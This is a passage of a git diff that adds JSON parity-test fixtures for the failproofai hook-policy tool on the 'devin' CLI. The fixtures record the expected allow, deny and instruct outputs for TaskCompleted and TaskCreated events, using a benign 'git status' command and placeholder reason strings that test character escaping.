"sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..235c64ea --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d1674dee --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f4ec5272 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..227c0d5a --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8b1186b7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b99a7367 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e37c1b3a --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..63ef2f25 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..35cb5c99 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d38dc932 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..34abaf44 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..fac2ca99 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2d750e2d --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4ed18396 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6946033b --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..6555210e --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..47b4e3d3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7790e9ec --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..15f9e37e --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": 